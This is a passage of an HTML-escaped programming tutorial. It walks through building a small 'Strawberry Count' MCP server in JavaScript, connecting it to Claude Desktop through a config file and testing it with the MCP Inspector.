package.json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── package-lock.json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;set-packagejson-as-a-module&#34;&gt;Set package.json as a Module&lt;/h3&gt;&#xA;&lt;p&gt;Inside the &lt;em&gt;package.json&lt;/em&gt; file, change or create the &lt;em&gt;type&lt;/em&gt; property and assign it the value &lt;em&gt;module&lt;/em&gt;, so npm treats it as a module.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;module&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;install-the-library&#34;&gt;Install the Library&lt;/h3&gt;&#xA;&lt;p&gt;A MCP server requires &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/modelcontextprotocol/typescript-sdk&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;the official MCP server SDK&lt;/a&gt;&#xA;, just install it via npm.&#xA;We also need &lt;em&gt;zod&lt;/em&gt;, which, &lt;del&gt;if you’re unlucky enough to use JavaScript&lt;/del&gt;, is used to validate data.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-typescript&#34; data-lang=&#34;typescript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm install &lt;span style=&#34;color:#ff5c57&#34;&gt;@modelcontextprotocol&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;sdk&lt;span style=&#34;color:#ff5c57&#34;&gt;@1&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;16.0&lt;/span&gt; zod&lt;span style=&#34;color:#ff5c57&#34;&gt;@3&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;25.76&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;create-a-mcp-server&#34;&gt;Create a MCP Server&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Afterward let&amp;rsquo;s create a MCP server just initiliazing a new McPServer object&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; {McpServer} from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;@modelcontextprotocol/sdk/server/mcp.js&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; server &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; McpServer({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Strawberry Count&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    version&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1.0.0&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;create-mcp-tools-in-a-mcp-server&#34;&gt;Create MCP Tools in a MCP Server&lt;/h2&gt;&#xA;&lt;p&gt;Next, we&amp;rsquo;ll define the tools, or &lt;em&gt;mcp tools&lt;/em&gt;, that allow us to receive a parameter from the LLM so we can do whatever we want with it—in this case, count the r&amp;rsquo;s. I already talked about &lt;em&gt;mcp tools&lt;/em&gt; in my introduction to the Model Context Protocol.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// server.tool(&amp;#34;&amp;lt;Name&amp;gt;&amp;#34;, &amp;#34;&amp;lt;Description&amp;gt;&amp;#34;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;server.tool(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Strawberry Count&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Count the number of r&amp;#39;s present in an strawberry variant&amp;#34;&lt;/span&gt;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    param&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.string().describe(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The strawberry variant, it can have a variable number of r&amp;#39;s&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// callback with the param&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// AI will detect this param&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; ({ param }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            content&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    type&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    text&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;`The word has: &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;param.toLowerCase().split(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).filter(letter =&amp;gt; letter &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;r&amp;#34;&lt;/span&gt;).length&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; r&amp;#39;s`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;One thing to notice here, we’re counting the r’s manually—no tricks whatsoever. We process the string we receive and return the number of r’s.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Also, I want to highlight how awesome is the dark magic that the LLM uses to get our custom param. Our LLM detects the param that we want to receive from the user&amp;rsquo;s input using as context the description information that we passed to the describe method.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753317103/are-you-a-wizard_hlrgoi.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753317103/are-you-a-wizard_hlrgoi.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP meme&#34; width=&#34;500&#34; height=&#34;770&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Obviously, your &lt;em&gt;mcp tool&lt;/em&gt; won&amp;rsquo;t do something as useless as counting r’s—you could fetch data from an API, process it, get info from the file system, or even from another LLM—whatever you want.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-does-the-llm-get-its-context-from&#34;&gt;Where Does the LLM Get Its Context From?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;For this example, we’ll use STDIO (Standard Input Output). But in the MCP introduction I talked you a little bit about its alternatives: SSE and HTTP Stream.&lt;/p&gt;&#xA;&lt;p&gt;In this case, it’s basically the user’s text input.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; transport &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; StdioServerTransport()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;run-the-mcp-server-to-read-from-stdio&#34;&gt;Run the MCP Server to Read from STDIO&lt;/h2&gt;&#xA;&lt;p&gt;Now we’ll connect this transport to the MCP server so it can read directly from STDIO.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; server.connect(transport)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;connecting-the-mcp-to-other-applications-like-claude-desktop&#34;&gt;Connecting the MCP to Other Applications, like Claude Desktop&lt;/h3&gt;&#xA;&lt;p&gt;We can connect this MCP server to any program that supports MCP so we can use it.&lt;/p&gt;&#xA;&lt;p&gt;For example, for Claude Desktop we would fill out the &lt;em&gt;claude_desktop_config.json&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Notice how we declare that the MCP server should run with the &lt;code&gt;npx&lt;/code&gt; command followed by the list of arguments in order.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mcpservers&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;commando&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;npx&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;args&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;-y&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;node&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;full_path_to_js_file&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you wanted to use TypeScript instead of JavaScript, you could do something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mcpservers&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;commando&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;npx&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;args&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;-y&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tsx&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;full_path_to_ts_file&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;analyzing-the-mcp-server-with-the-inspector&#34;&gt;Analyzing the MCP Server with the Inspector&lt;/h2&gt;&#xA;&lt;p&gt;How we test that our MCP works? Claude’s inspector lets you test and debug MCP servers. You can view the tools you&amp;rsquo;ve created and simulate their function—however, these don’t use an LLM. It’s a plain server, functioning as if we were the LLM.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-gui.jpg_oyzri4.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-gui.jpg_oyzri4.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP Inspector GUI&#34; width=&#34;1904&#34; height=&#34;962&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;To run it, you can use &lt;em&gt;npx&lt;/em&gt; and pass the server command:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npx &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;y &lt;span style=&#34;color:#ff5c57&#34;&gt;@&lt;/span&gt;modelcontextprotocol&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;inspector &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;mcp_server_command&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I wasn’t able to run the command using substitution. I tried using the relative and absolute directory, but I couldn’t connect to the server—I’m not sure why.&lt;/p&gt;&#xA;&lt;p&gt;However it did work by manually filling in the data in the Inspector’s graphical interface.&lt;/p&gt;&#xA;&lt;p&gt;After running the inspector, we’ll have a server running on port 6274 (by default, though this can be changed).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npx &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;y &lt;span style=&#34;color:#ff5c57&#34;&gt;@&lt;/span&gt;modelcontextprotocol&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;inspector npm index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npx &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;y &lt;span style=&#34;color:#ff5c57&#34;&gt;@&lt;/span&gt;modelcontextprotocol&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;inspector npm &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;home&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;dir&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;mcp&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;server&lt;span 